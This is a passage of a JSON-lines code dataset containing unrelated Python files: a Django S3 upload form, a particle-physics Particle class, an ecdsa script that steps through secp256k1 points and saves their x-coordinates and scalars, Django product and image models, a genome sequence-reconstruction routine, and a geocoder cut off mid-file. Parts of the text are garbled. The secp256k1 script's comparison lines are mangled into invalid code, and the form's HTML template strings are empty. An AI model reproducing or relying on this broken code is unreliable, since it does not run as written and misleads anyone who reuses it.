8','x')\nprint(res)\n\n\n\n\n","sub_path":"Maths/equation.py","file_name":"equation.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"490833168","text":"from django import forms\n\nfrom s3direct.widgets import S3DirectWidget\n\n\nclass S3DirectUploadForm(forms.Form):\n images = forms.URLField(widget=S3DirectWidget(\n dest='imgs',\n html=(\n '
'\n ' {file_name}'\n ' Remove'\n ' '\n ' '\n ' '\n '
'\n '
'\n '
'\n '
'\n )))","sub_path":"example/cat/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"649447867","text":"# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import, division, print_function\n\n# Python standard library\nimport operator\nimport os\nimport re\nimport csv\nfrom copy import copy\n\nfrom fractions import Fraction\nfrom functools import reduce, total_ordering\n\n# External dependencies\nimport attr\n\nfrom hepunits.constants import c_light\n\nfrom .. import data\nfrom ..pdgid import PDGID\nfrom ..pdgid import is_valid\nfrom ..pdgid.functions import _digit\nfrom ..pdgid.functions import Location\nfrom .regex import getname, getdec\n\nfrom .enums import (SpinType, Parity, Charge, Inv, Status,\n Parity_undo, Parity_prog,\n Charge_undo, Charge_prog, Charge_mapping)\n\nfrom .utilities import programmatic_name, str_with_unc\nfrom .kinematics import width_to_lifetime\n\n\nclass ParticleNotFound(RuntimeError):\n pass\n\n\nclass InvalidParticle(RuntimeError):\n pass\n\n\n@total_ordering\n@attr.s(slots=True, cmp=False, repr=False)\nclass Particle(object):\n \"\"\"\n The Particle object class. Hold a series of properties for a particle.\n\n Class properties:\n\n C\n The charge conjugation parity quantum number, if relevant.\n\n G\n The G-parity quantum number, if relevant.\n\n I\n The isospin quantum number, if relevant.\n\n P\n The parity quantum number, if relevant.\n\n anti_flag\n The particle-antiparticle flag.\n\n A = B - particle that has anti-particle partner different from particle\n with ASCII name formed by concatenation of the name shown below with charge\n ( e- <--> e+, pi+ <--> pi-, K+ <--> K-, W+ <--> W- ).\n A = F - particle that has anti-particle partner different from particle\n with ascii name formed by concatenation of the name shown below with string \"bar\" and charge\n by the rule (nu(e) <--> nubar(e), p <--> pbar, Delta++ <--> Deltabar--)\n A = blank - particle that coincides with its antiparticle (gamma, pi0, eta).\n\n charge\n The particle charge, in units of the positron charge.\n\n latex\n The particle name in LaTeX.\n\n mass\n The particle mass, in MeV.\n\n mass_lower\n The lower uncertainty on the particle mass, in MeV.\n\n mass_upper\n The upper uncertainty on the particle mass, in MeV.\n\n pdgid\n The PDG ID.\n\n pdgname\n The particle name as in the PDG data file.\n\n Note:\n This name does not contain the charge. See alternative `name`.\n\n quarks\n The quark content of the particle. Empty string if not relevant.\n\n Note:\n Capital letters represent anti-quarks, 'qQ' stands for light quark,\n light anti-quark pair with unknown wave functions.\n x, y stand for wave function coefficients, see the Review of Particle Physics (RPP) 'Quark Model' Review.\n p, q stand for CP violation parameters, see the RPP 'CP violation in KL Decays' review.\n\n rank\n The particle rank as specified by the PDG, i.e. the number of baryon stars - used only on baryons.\n\n Possible values are:\n 4 - Existence is certain, and properties are at least fairly well explored.\n 3 - Existence ranges from very likely to certain, but further confirmation\n is desirable and/or quantum numbers, branching fractions, etc. are not well determined.\n 2 - Evidence of existence is only fair.\n 1 - Evidence of existence is poor.\n\n status\n The particle status as specified by the PDG.\n\n Possible values are:\n R - Established particles in the Review of Particle Physics (RPP) Summary Table\n in Particle Physics Booklet\n (established quarks, gauge bosons, leptons, mesons and baryons, except those in D below).\n D - The particle is omitted from the Summary Tables in the Particle Physics Booklet,\n but not from the Review. These entries are omitted only to save space\n even though they are well established.\n S - The particle is omitted from the particle properties Summary Tables\n because it is not well established.\n F - Special case: \"Further mesons\", see RPP, these states are in the RPP database\n but are poorly established or observed by a single group and thus need confirmation.\n If used, these should be referred to the original publication.\n\n width\n The particle decay width, in MeV.\n\n width_lower\n The lower uncertainty on the particle decay width, in MeV.\n\n width_upper\n The upper uncertainty on the particle decay width, in MeV.\n \"\"\"\n pdgid = attr.ib(converter=PDGID)\n pdgname = attr.ib()\n mass = attr.ib()\n width = attr.ib()\n anti_flag = attr.ib(converter=Inv) # Info about particle name for anti-particles\n\n rank = attr.ib(0) # Next line is Isospin\n I = attr.ib(None) # noqa: E741\n # J = attr.ib(None) # Total angular momentum\n G = attr.ib(Parity.u, converter=Parity) # Parity: '', +, -, or ?\n P = attr.ib(Parity.u, converter=Parity) # Space parity\n C = attr.ib(Parity.u, converter=Parity) # Charge conjugation parity\n # (B (just charge), F (add bar) , and '' (No change))\n quarks = attr.ib('', converter=str)\n status = attr.ib(Status.Nonexistent, converter=Status)\n latex = attr.ib('')\n mass_upper = attr.ib(0.0)\n mass_lower = attr.ib(0.0)\n width_upper = attr.ib(0.0)\n width_lower = attr.ib(0.0)\n\n def __repr__(self):\n return \"<{self.__class__.__name__}: pdgid={pdgid}, name='{self!s}', mass={mass} MeV>\".format(\n self=self, pdgid=int(self.pdgid),\n mass=str_with_unc(self.mass, self.mass_upper, self.mass_lower))\n _table = None # Loaded table of entries\n\n @classmethod\n def table(cls):\n \"\"\"\n This accesses the internal particle data CSV table, loading it from the default location if needed.\n \"\"\"\n if cls._table is None:\n cls.load_table()\n\n return cls._table\n\n @classmethod\n def load_table(cls, filename=None, append=False):\n \"\"\"\n Load a particle data CSV table. Optionally append to the existing data already loaded if append=True.\n \"\"\"\n if not append or cls._table is None:\n cls._table = []\n\n if filename is None:\n filename = data.open_text(data, 'particle2018.csv')\n elif not hasattr(filename, 'read'):\n filename = open(filename)\n\n with filename as f:\n r = csv.DictReader(f)\n\n for v in r:\n value = int(v['ID'])\n pdgname = v['Name']\n\n # Replace the previous value if appending\n if value in cls._table:\n cls._table.remove(value)\n\n cls._table.append(cls(\n pdgid=value,\n mass=float(v['Mass']),\n mass_upper=float(v['MassUpper']),\n mass_lower=float(v['MassLower']),\n width=float(v['Width']),\n width_upper=float(v['WidthUpper']),\n width_lower=float(v['WidthLower']),\n I=v['I'],\n G=int(v['G']),\n P=int(v['P']),\n C=int(v['C']),\n anti_flag=int(v['Anti']),\n rank=int(v['Rank']),\n status=int(v['Status']),\n pdgname=v['Name'],\n quarks=v['Quarks'],\n latex=v['Latex']))\n\n # The following __le__ and __eq__ needed for total ordering (sort, etc)\n\n def __le__(self, other):\n # Sort by absolute particle numbers\n # The positive one should come first\n if type(self) == type(other):\n return abs(int(self) - .25) < abs(int(other) - .25)\n\n # Comparison with anything else should produce normal comparisons.\n else:\n return int(self) < other\n\n def __eq__(self, other):\n try:\n return self.pdgid == other.pdgid\n except AttributeError:\n return self.pdgid == other\n\n # Only one particle can exist per PDGID number\n def __hash__(self):\n return hash(self.pdgid)\n\n # Integer == PDGID\n def __int__(self):\n return int(self.pdgid)\n\n # Shared with PDGID\n\n @property\n def J(self):\n 'The total spin J quantum number.'\n return self.pdgid.J\n\n @property\n def L(self):\n 'The orbital angular momentum L quantum number (None if not a meson).'\n return self.pdgid.L\n\n @property\n def S(self):\n 'The spin S quantum number (None if not a meson).'\n return self.pdgid.S\n\n @property\n def charge(self):\n return self.three_charge / 3\n\n @property\n def three_charge(self):\n 'The particle charge (integer * 3).'\n return Charge(self.pdgid.three_charge)\n\n @property\n def lifetime(self):\n 'The particle lifetime, in nanoseconds.'\n return width_to_lifetime(self.width)\n\n @property\n def ctau(self):\n 'The particle c*tau, in millimeters.'\n return c_light*self.lifetime\n\n @property\n def radius(self):\n 'Particle radius, hard coded from the PDG data.'\n if abs(self.pdgid) in [411, 421, 431]:\n return 5.0\n else:\n return 1.5\n\n @property\n def bar(self):\n 'Check to see if particle is inverted.'\n return self.pdgid < 0 and self.anti_flag == Inv.Full\n\n @property\n def spin_type(self): # -> SpinType:\n 'Access the SpinType enum.'\n if self.J in [0, 1, 2]:\n J = int(self.J)\n\n if self.P == Parity.p:\n return (SpinType.Scalar, SpinType.Axial, SpinType.Tensor)[J]\n elif self.P == Parity.m:\n return (SpinType.PseudoScalar, SpinType.Vector, SpinType.PseudoTensor)[J]\n\n return SpinType.Unknown\n\n def invert(self):\n \"Get the antiparticle.\"\n if self.anti_flag == Inv.Full or (self.anti_flag == Inv.Barless and self.three_charge != Charge.o):\n return self.from_pdgid(-self.pdgid)\n else:\n return copy(self)\n\n __neg__ = invert\n __invert__ = invert\n\n def _charge_in_name(self):\n \"\"\"Assess whether the particle charge is part of the particle name.\n\n Internally used when creating the name.\n \"\"\"\n if self.anti_flag == Inv.Barless: return True # antiparticle flips sign of particle\n if self.pdgid in (23, 111, 130, 310, 311, -311): return True # the Z0, pi0, KL0, KS0, K0 and K0bar\n if abs(self.pdgid) in (2212, 2112): return False # proton and neutron\n if self.three_charge == 0 and self.anti_flag == Inv.Same: return False # all quarkonia and the photon\n if (self.pdgid.is_baryon\n and _digit(self.pdgid, Location.Nq2) == 1\n and self.pdgid.has_strange\n and not (self.pdgid.has_charm or self.pdgid.has_bottom or self.pdgid.has_top)\n ):\n return False # Lambda baryons\n if abs(self.pdgid) < 9: return False # all quarks\n return True\n\n # Pretty descriptions\n\n def __str__(self):\n _tilde = '~' if self.anti_flag == Inv.Full and self.pdgid < 0 else ''\n _charge = Charge_undo[self.three_charge] if self._charge_in_name() else ''\n return self.pdgname + _tilde + _charge\n\n name = property(__str__, doc='The nice name, with charge added, and a tilde for an antiparticle, if relevant.')\n\n def _repr_latex_(self):\n name = self.latex\n # name += \"^{\" + Parity_undo[self.three_charge] + '}'\n return (\"$\" + name + '$') if self.latex else '?'\n\n def _width_or_lifetime(self):\n \"\"\"Display either the particle width or the lifetime.\n\n Internally used by the describe() method.\n \"\"\"\n if self.width <= 0:\n return 'Width = {width} MeV'.format(width=str(self.width))\n elif self.width < 1.: # corresponds to a lifetime of approximately 6.6e-22 seconds\n if self.width_lower == self.width_upper:\n e = width_to_lifetime(self.width-self.width_lower)-self.lifetime\n s = 'Lifetime = {lifetime} ns'.format(lifetime=str_with_unc(self.lifetime,e,e))\n else:\n s = 'Lifetime = {lifetime} ns'.\\\n format(lifetime=str_with_unc(self.lifetime,\\\n width_to_lifetime(self.width-self.width_lower)-self.lifetime,\n self.lifetime-width_to_lifetime(self.width+self.width_upper)\n ))\n return s\n else:\n return 'Width = {width} MeV'.format(width=str_with_unc(self.width, self.width_upper, self.width_lower))\n\n def describe(self):\n 'Make a nice high-density string for a particle\\'s properties.'\n if self.pdgid == 0:\n return \"Name: Unknown\"\n\n val = \"\"\"PDG name: {self.pdgname:<10} ID: {self.pdgid:<12} Name: {self!s:<14} Latex: {latex}\nMass = {mass} MeV\n{width_or_lifetime}\nI (isospin) = {self.I!s:<6} G (parity) = {G:<5} Q (charge) = {Q}\nJ (total angular) = {self.J!s:<6} C (charge parity) = {C:<5} P (space parity) = {P}\n\"\"\".format(self=self,\n G=Parity_undo[self.G],\n C=Parity_undo[self.C],\n Q=Charge_undo[self.three_charge],\n P=Parity_undo[self.P],\n mass=str_with_unc(self.mass, self.mass_upper, self.mass_lower),\n width_or_lifetime=self._width_or_lifetime(),\n latex = self._repr_latex_())\n\n if self.spin_type != SpinType.Unknown:\n val += \" SpinType: {self.spin_type!s}\\n\".format(self=self)\n if self.quarks:\n val += \" Quarks: {self.quarks}\\n\".format(self=self)\n val += \" Antiparticle status: {self.anti_flag.name} (antiparticle name: {iself.name})\".format(self=self, iself=self.invert())\n # val += \" Radius: {self.radius} GeV\".format(self=self)\n return val\n\n @property\n def programmatic_name(self):\n 'This name could be used for a variable name.'\n return programmatic_name(self.name)\n\n @property\n def html_name(self):\n 'This is the name using HTML instead of LaTeX.'\n name = self.latex\n name = re.sub(r'\\^\\{(.*?)\\}', r'\\1', name)\n name = re.sub(r'\\_\\{(.*?)\\}', r'\\1', name)\n name = re.sub(r'\\\\mathrm\\{(.*?)\\}', r'\\1', name)\n name = re.sub(r'\\\\left\\[(.*?)\\\\right\\]', r'[\\1] ', name)\n name = name.replace(r'\\pi', 'π').replace(r'\\rho', 'ρ').replace(r'\\omega', 'ω')\n name = re.sub(r'\\\\bar\\{(.*?)\\}', r'~\\1', name)\n return name\n\n @classmethod\n def empty(cls):\n 'Make a new empty particle.'\n return cls(0, 'Unknown', 0., 0., 0, Inv.Same)\n\n @classmethod\n def from_pdgid(cls, value):\n \"\"\"\n Get a particle from a PDGID. Uses PDG data table.\n\n An exception is thrown if the input PDGID is invalid or if no matching PDGID is found.\n \"\"\"\n if not is_valid(value):\n raise InvalidParticle(\"Input PDGID {0} is invalid!\".format(value))\n table = cls.table()\n try:\n return table[table.index(value)]\n except ValueError:\n raise ParticleNotFound('Could not find PDGID {0}'.format(value))\n\n\n @classmethod\n def from_search_list(cls, filter_fn=None, particle=None, **search_terms):\n '''\n Search for a particle, returning a list of candidates.\n\n The first and only positional argument is given each particle\n candidate, and returns true/false. Example:\n\n >>> Particle.from_search_list(lambda p: 'p' in p.name)\n # Returns list of all particles with p somewhere in name\n\n You can also pass particle=True/False to force a particle or antiparticle. If\n this is not callable, it will do a \"fuzzy\" search on the name. So this is identical:\n\n >>> Particle.from_search_list('p')\n # Returns list of all particles with p somewhere in name\n\n You can also pass keyword arguments, which are either called with the\n matching property if they are callable, or are compared if they are not.\n This would do an exact search on the name, instead of a fuzzy search:\n\n >>> Particle.from_search_list(name='p')\n # Returns proton and antiproton only\n\n >>> Particle.from_search_list(name='p', particle=True)\n # Returns proton only\n\n See also from_search, which throws an exception if the particle is not found or too many are found.\n '''\n\n # Note that particle can be called by position to keep compatibility with Python 2, but that behavior should\n # not be used and will be removed when support for Python 2.7 is dropped.\n\n # Remove any None values (makes programmatic access easier)\n for term in list(search_terms):\n if search_terms[term] is None:\n del search_terms[term]\n\n results = set()\n\n # Filter out values\n for item in cls.table():\n # At this point, continue if a match fails\n\n # particle=True is particle, False is antiparticle, and None is both\n if particle is not None:\n if particle and int(item) < 0:\n continue\n elif (not particle) and int(item) > 0:\n continue\n\n # If a filter function is passed, evaluate and skip if False\n if filter_fn is not None:\n if callable(filter_fn):\n if not filter_fn(item):\n continue\n else:\n if not(filter_fn in item.name):\n continue\n\n # At this point, if you break, you will not add a match\n for term, value in search_terms.items():\n # If pvalue cannot be accessed, skip this particle\n # (invalid lifetime, for example)\n try:\n pvalue = getattr(item, term)\n except ValueError:\n break\n\n # Callables are supported\n if callable(value):\n if not value(pvalue):\n break\n # And, finally, just compare if nothing else matched\n elif pvalue != value:\n break\n\n # If the loop was not broken\n else:\n results.add(item)\n\n # Matches are sorted so the top one is \"best\"\n return sorted(results)\n\n @classmethod\n def from_search(cls, *args, **search_terms):\n '''\n Require that your search returns one and only one result.\n The method otherwise raises a ParticleNotFound or RuntimeError exception.\n\n See from_search_list for full listing of parameters.\n '''\n\n results = cls.from_search_list(*args, **search_terms)\n\n if len(results) == 1:\n return results[0]\n elif len(results) == 0:\n raise ParticleNotFound('Did not find particle matching query: {}'.format(search_terms))\n else:\n raise RuntimeError(\"Found too many particles\")\n\n @classmethod\n def from_dec(cls, name):\n 'Get a particle from a DecFile style name - returns best match'\n\n mat = getdec.match(name)\n if mat is None:\n return cls.from_search(name=name)\n mat = mat.groupdict()\n\n return cls._from_group_dict_list(mat)[0]\n\n @classmethod\n def from_string(cls, name):\n 'Get a particle from a PDG style name - returns best match'\n matches = cls.from_string_list(name)\n if matches:\n return matches[0]\n else:\n raise ParticleNotFound('{0} not found in particle table'.format(name))\n\n\n\n @classmethod\n def from_string_list(cls, name):\n 'Get a list of particle from a PDG style name'\n\n # Patch in common names\n if name == 'Upsilon':\n name = 'Upsilon(1S)'\n\n # Forcable override\n bar = False\n\n if '~' in name:\n name = name.replace('~','')\n bar = True\n\n mat = getname.match(name)\n if mat is None:\n return cls.from_search_list(name=name, particle=False if bar else None)\n mat = mat.groupdict()\n\n if bar:\n mat['bar'] = 'bar'\n\n try:\n return cls._from_group_dict_list(mat)\n except ParticleNotFound:\n return []\n\n @classmethod\n def _from_group_dict_list(cls, mat):\n\n #if '_' in mat['name']:\n # mat['name'], mat['family'] = mat['name'].split('_')\n\n particle = False if mat['bar'] is not None else (True if mat['charge'] == '0' else None)\n\n name = mat['name']\n\n if mat['family']:\n name += '({mat[family]})'.format(mat=mat)\n if mat['state']:\n name += '({mat[state]})'.format(mat=mat)\n\n if mat['star']:\n name += '*'\n\n J = float(mat['state']) if mat['state'] is not None else None\n\n if mat['mass']:\n maxname = name + '({mat[mass]})'.format(mat=mat)\n else:\n maxname = name\n\n vals = cls.from_search_list(name = lambda x: maxname in x,\n three_charge=Charge_mapping[mat['charge']],\n particle=particle,\n J=J)\n if not vals:\n vals = cls.from_search_list(name = lambda x: name in x,\n three_charge=Charge_mapping[mat['charge']],\n particle=particle,\n J=J)\n\n if not vals:\n raise ParticleNotFound(\"Could not find particle {0} or {1}\".format(maxname, name))\n\n if len(vals) > 1 and mat['mass'] is not None:\n vals = [val for val in vals if mat['mass'] in val.latex]\n\n if len(vals) > 1:\n vals = sorted(vals)\n\n return vals\n","sub_path":"particle/particle/particle.py","file_name":"particle.py","file_ext":"py","file_size_in_byte":22137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"536644246","text":"# -*- coding: utf-8 -*-\n\"\"\"\nРедактор Spyder\n\nЭто временный скриптовый файл.\n\"\"\"\nimport ecdsa\nfrom datetime import datetime as dt\ncurvesec=ecdsa.curves.SECP256k1\ncurve=curvesec.curve\nG=curvesec.generator\nn=curvesec.order\nco=curve.p()\nco2=co//2\nhprime=[]\nh1prime=[1]\nflastx=\"lastx.txt\"\nflasty=\"lasty.txt\"\nflastord=\"lastord.txt\"\nfx=\"x.txt\"\nford=\"ord.txt\"\nk=2\ni=0\nwhile i<100:\n \n if ecdsa.numbertheory.is_prime(k):\n hprime.append(k)\n h1prime.append(k)\n i+=1\n k+=1\n\ndef inv(k):\n r=pow(k,(n-2),n)\n return r\ninvprime=[]\nfor i in range(100):\n k=hprime[i]\n r=inv(k)\n invprime.append(r)\ndef fromleft(p,ordp):\n desd=co-p.x()\n mind=co\n for i in range(10):\n pp=p*hprime[i]\n ordpp=(ordp*hprime[i])%n\n addd=abs(pp.x()-desd)\n if (pp.x()co2) and (adddco2):\n minp=pp\n minord=ordpp\n return minp,minord\ndef minp(p,ordp,p1,ordp1):\n mind=co\n for k in h1prime:\n for l in h1prime:\n pp=p*k+p1*l\n ordpp=(ordp*k+ordp1*l)%n\n if pp.x()==p.x():\n continue\n if pp==ecdsa.ellipticcurve.INFINITY:\n continue\n if abs(pp.x()-co2)co2:\n k=fromleft(p,ordp)\n else:\n k=fromright(p,ordp)\n return minp(p,ordp,k[0],k[1])\ndef savelast(p,ordp):\n f=open(flastx,\"w\")\n f.write(str(p.x()))\n f.close()\n f=open(flasty,\"w\")\n f.write(str(p.y()))\n f.close() \n f=open(flastord,\"w\")\n f.write(str(ordp))\n f.close()\ndef createlist(listlength):\n f=open(flastx,\"r\")\n x=f.read()\n x=int(x)\n f.close()\n f=open(flasty,\"r\")\n y=f.read()\n y=int(y)\n f.close() \n f=open(flastord,\"r\")\n ordstr=f.read()\n ordp=int(ordstr)\n f.close()\n p=ecdsa.ellipticcurve.Point(curve,x,y)\n l=[]\n k=(p,ordp)\n for i in range(listlength):\n l.append((k[0].x(),k[1]))\n k=findpoint(k[0],k[1])\n \n f1=open(fx,\"a\")\n f2=open(ford,\"a\") \n for i in range(listlength):\n str1=str(l[i][0])+\"\\n\"\n f1.write(str1)\n str2=str(l[i][1])+\"\\n\"\n f2.write(str2)\n f1.close()\n f2.close()\n savelast(k[0],k[1]) \ndef collectdata(listlength,repeattimes):\n for i in range(repeattimes):\n createlist(listlength)\n\n\n#savelast(G,1)\nprint(dt.now())\ncollectdata(30,10)\nprint(dt.now()) \n \n\n","sub_path":"findpoind.py","file_name":"findpoind.py","file_ext":"py","file_size_in_byte":3266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"511560471","text":"import os\nimport hashlib\nimport io\n\nfrom django.db import models\nfrom django.core import validators\nfrom django.utils import timezone\nfrom django.db.models import deletion\nfrom django.conf import settings\nfrom django.core.files.images import ImageFile\n\n\nclass Product(models.Model):\n created_at = models.DateTimeField(default=timezone.now, editable=False)\n updated_at = models.DateTimeField(default=timezone.now, editable=False)\n\n title = models.CharField(max_length=80, null=False)\n price = models.FloatField(null=False,\n validators=[validators.MinValueValidator(0)],\n help_text='Product price.')\n description = models.TextField(null=False,\n help_text='Description, formatted with markdown.')\n is_published = models.BooleanField(default=False)\n\n def save(self, force_insert=False, force_update=False, using=None, update_fields=None):\n self.updated_at = timezone.now()\n super().save(force_insert, force_update, using, update_fields)\n\n @property\n def main_image(self):\n if not self.image_set.count():\n return Image.get_or_create_from_path(\n os.path.join(settings.STATIC_ROOT, 'main', 'img', 'no-product-image.png'),\n 'no-product-image-placeholder'\n )\n return self.image_set.get(primary_image=True)\n\n def __str__(self):\n return self.title\n\n\ndef generate_image_name(instance: 'Image', fname):\n name, ext = os.path.splitext(fname)\n\n h = hashlib.md5()\n h.update(\n fname.encode() +\n str(instance.uploaded_at).encode())\n\n return h.hexdigest() + ext\n\n\ndef generate_thumb_name(instance):\n name, ext = os.path.splitext(instance.full_image.name)\n return name + '_thumb' + ext\n\n\nclass ImageQuerrySet(models.QuerySet):\n def delete(self):\n for item in self:\n item.delete()\n return super().delete()\n\n\nclass Image(models.Model):\n objects = ImageQuerrySet.as_manager()\n\n uploaded_at = models.DateTimeField(default=timezone.now, editable=False)\n full_image = models.ImageField(upload_to=generate_image_name,\n validators=[validators.FileExtensionValidator(['jpg', 'png'])],\n help_text='Choose image to upload.')\n title = models.CharField(max_length=80, null=True, blank=True, unique=True,\n help_text='(Optional) Image title to show.')\n\n product = models.ForeignKey(Product, on_delete=deletion.CASCADE, null=True)\n primary_image = models.BooleanField(default=False)\n is_placeholder = models.BooleanField(default=False)\n\n @property\n def thumb_name(self):\n name, ext = os.path.splitext(self.full_image.name)\n return name + '_thumb' + ext\n\n @property\n def image_full_path(self):\n return os.path.join(settings.MEDIA_ROOT, self.full_image.name)\n\n @property\n def thumbnail_full_path(self):\n return os.path.join(settings.MEDIA_ROOT, self.thumb_name)\n\n def thumb(self):\n name, ext = os.path.splitext(self.full_image.url)\n return name + '_thumb' + ext\n\n def delete(self, using=None, keep_parents=False):\n print(self.image_full_path)\n if os.path.exists(self.image_full_path):\n print('deleting')\n os.remove(self.image_full_path)\n\n print(self.thumbnail_full_path)\n if os.path.exists(self.thumbnail_full_path):\n print('deleting')\n os.remove(self.thumbnail_full_path)\n\n return super().delete(using, keep_parents)\n\n def save(self, force_insert=False, force_update=False, using=None, update_fields=None):\n if self.product and self.is_placeholder:\n # image with product assigned to cant be a placeholder\n raise\n super().save(force_insert, force_update, using, update_fields)\n self.create_thumbnail()\n\n def create_thumbnail(self):\n if os.path.exists(self.thumbnail_full_path):\n return\n\n from PIL import Image as PilImage\n from django.core.files.storage import default_storage\n from django.core.files.uploadedfile import SimpleUploadedFile\n\n with default_storage.open(self.full_image.name) as image_fd:\n image = PilImage.open(image_fd)\n image.thumbnail(settings.THUMBNAIL_SIZE, PilImage.ANTIALIAS)\n\n thumb_name, thumb_extension = os.path.splitext(self.full_image.name)\n thumb_extension = thumb_extension.lower()\n\n with io.BytesIO() as tmp:\n image.save(tmp, thumb_extension.replace('.', '').upper())\n tmp.seek(0)\n\n suf = SimpleUploadedFile(self.full_image.name, tmp.read(), content_type=self.full_image)\n\n with open(self.thumbnail_full_path, 'wb') as fd:\n fd.write(suf.file.read())\n\n @classmethod\n def get_or_create_from_path(cls, path, title=None):\n if not Image.objects.filter(title=title).exists():\n image = Image()\n image.title = title\n image.product = None\n image.is_placeholder = True\n image.full_image = ImageFile(open(path, 'rb'))\n image.save()\n else:\n image = Image.objects.get(title=title)\n\n return image\n\n def __str__(self):\n return self.title or self.full_image.name\n","sub_path":"main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"130047819","text":"from collections import defaultdict\n\n\ndef sequence_reconstruction(edges):\n\n link_edge = get_edge_of_path_to_cycle(edges)\n edges.append(link_edge)\n cycle = eulerian_cycle(edges)\n path = cycle_to_path(cycle, link_edge)\n return concat(path)\n\n\ndef get_edge_of_path_to_cycle(edges):\n entries = defaultdict(int)\n exits = defaultdict(int)\n nodes = set()\n for i, j in edges:\n nodes.add(i)\n nodes.add(j)\n entries[j] += 1\n exits[i] += 1\n\n for i in nodes:\n if entries.get(i) > exits.get(i):\n start = i\n elif entries.get(i) < exits.get(i):\n end = i\n\n return (start, end)\n\n\ndef cycle_to_path(cycle, edge):\n for i in range(len(cycle)):\n if (cycle[i], cycle[i + 1]) == edge:\n return cycle[i + 1:len(cycle) - 1] + cycle[:i + 1]\n\n\ndef concat(path):\n string = [path[0]]\n for i in path[1:]:\n string.append(i[-1])\n\n return ''.join(string)\n\n\ndef eulerian_cycle(edges):\n graph = {}\n traverse = {}\n for i, j in edges:\n if i in graph:\n graph[i].append(j)\n else:\n graph.update({i: [j]})\n traverse.update({(i, j): 0})\n\n cycle, traverse = form_cycle(graph, traverse)\n while not all(traverse.values()):\n cycle, traverse = form_cycle(graph, traverse, cycle)\n\n return cycle\n\n\ndef form_cycle(graph, traverse, cycle=None):\n if cycle:\n start = find_start(graph, traverse, cycle)\n expand = cycle + cycle[1:]\n new_cycle = []\n for i in range(cycle.index(start), cycle.index(start) + len(cycle)):\n new_cycle.append(expand[i])\n else:\n start = graph.keys()[0]\n new_cycle = [start]\n\n while 1:\n get_path = False\n for i in graph.get(start):\n if traverse.get((start, i)) == 0:\n get_path = True\n traverse[(start, i)] = 1\n new_cycle.append(i)\n start = i\n if get_path:\n break\n if not get_path:\n break\n\n return new_cycle, traverse\n\n\ndef find_start(graph, traverse, cycle):\n for i in cycle:\n for j in graph.get(i):\n if not traverse.get((i, j)):\n return i\n\n\n\n\n\n","sub_path":"genome_sequencing/sequence_reconstruction.py","file_name":"sequence_reconstruction.py","file_ext":"py","file_size_in_byte":2244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"409223255","text":"from os.path import exists\nfrom refcliq.util import cleanCurlyAround\nimport re\nimport networkx as nx\nfrom fuzzywuzzy.process import extractOne\nfrom fuzzywuzzy.fuzz import ratio\nfrom time import sleep, monotonic\nfrom tqdm import tqdm\nimport json\nimport googlemaps\nfrom titlecase import titlecase\nfrom sys import stderr\n\nCACHE = 'cache.json'\n\n_US = ['AL', 'AK', 'AZ', 'AR', 'CA', 'CO', 'CT', 'DE', 'FL', 'GA', 'HI', 'ID', 'IL', 'IN', 'IA', 'KS', 'KY', 'LA', 'ME', 'MD', 'MA', 'MI', 'MN', 'MS', 'MO',\n 'MT', 'NE', 'NV', 'NH', 'NJ', 'NM', 'NY', 'NC', 'ND', 'OH', 'OK', 'OR', 'PA', 'RI', 'SC', 'SD', 'TN', 'TX', 'UT', 'VT', 'VA', 'WA', 'WV', 'WI', 'WY']\n\n\ndef _computeFV(s: str)->list:\n \"\"\"\n Computes a normalized histogram of the (common) letters in s.\n \"\"\"\n trans = {}\n for i, c in enumerate('abcdefghiklmnopqrstuvwxyz'):\n trans[c] = i\n\n ret = [0, ]*len(trans)\n for c in s.lower():\n if (c in trans):\n ret[trans[c]] += 1\n return([x/sum(ret) for x in ret])\n\n\ndef _distanceFV(v1: list, v2: list)->float:\n \"\"\"\n Computes the distance between two feature vectors\n \"\"\"\n ret = 0\n for i in range(len(v1)):\n ret += abs(v1[i]-v2[i])\n return(ret/2.0)\n\n\ndef _find(d: dict, k: str, T: int=75)->str:\n \"\"\"\n Finds the key most similar to k in d. \n Returns none if no key is at least T similar (fuzzywuzzy ratio)\n \"\"\"\n\n if k in d:\n return(k)\n if (k == ''):\n return(None)\n ret = extractOne(k, d.keys(), score_cutoff=T)\n if ret:\n return(ret[0])\n return(None)\n\n\ndef _remove_numbers(s: str)->str:\n \"\"\"\n Removes all continuous sequences of characters that contain numbers. \n Ex. 11215, F-93160, etc...\n \"\"\"\n return(','.join([' '.join([word for word in x.split() if not any([c.isdigit() for c in word])]) for x in s.split(',')]).replace(',,', ',').replace(',', ', '))\n\n\ndef _count_useful_parts(address_parts: list, google_result: dict, T: int=75)->int:\n \"\"\"\n Determines how many address_parts are needed for city-level geocoding.\n \"\"\"\n ret = 0\n for a in address_parts:\n found = False\n for p in google_result[\"address_components\"]:\n if (ratio(a.lower(), p['long_name'].lower()) > T) or (ratio(a.lower(), p['short_name'].lower()) > T):\n found = True\n break\n if found:\n ret += 1\n\n return(ret)\n\n\ndef _filter_geocode(google_result: dict):\n useful = set(['postal_town', 'administrative_area_level_1',\n 'administrative_area_level_2', 'country', 'locality'])\n\n to_remove = []\n for i, part in enumerate(google_result[\"address_components\"]):\n if len(set(part['types']).intersection(useful)) == 0:\n to_remove.append(i)\n\n for i in sorted(to_remove, reverse=True):\n del(google_result[\"address_components\"][i])\n\n return(google_result)\n\n\nclass ArticleGeoCoder:\n def __init__(self, google_key: str=''):\n self._cache = {}\n if (google_key != ''):\n self._gmaps = googlemaps.Client(key=google_key)\n else:\n self._gmaps = None\n\n # those always pose a problem\n self._parts_by_country = {'peoples r china': 3, 'United States': 3,\n 'czech republic': 2, 'ireland': 2, 'norway': 2, 'italy': 2, 'finland': 2}\n self._last_request = monotonic() # keeps track of the last time we sent out a geocoding request\n self._outgoing_calls = 0\n\n if exists(CACHE):\n with open(CACHE, 'r') as fin:\n data = json.load(fin)\n 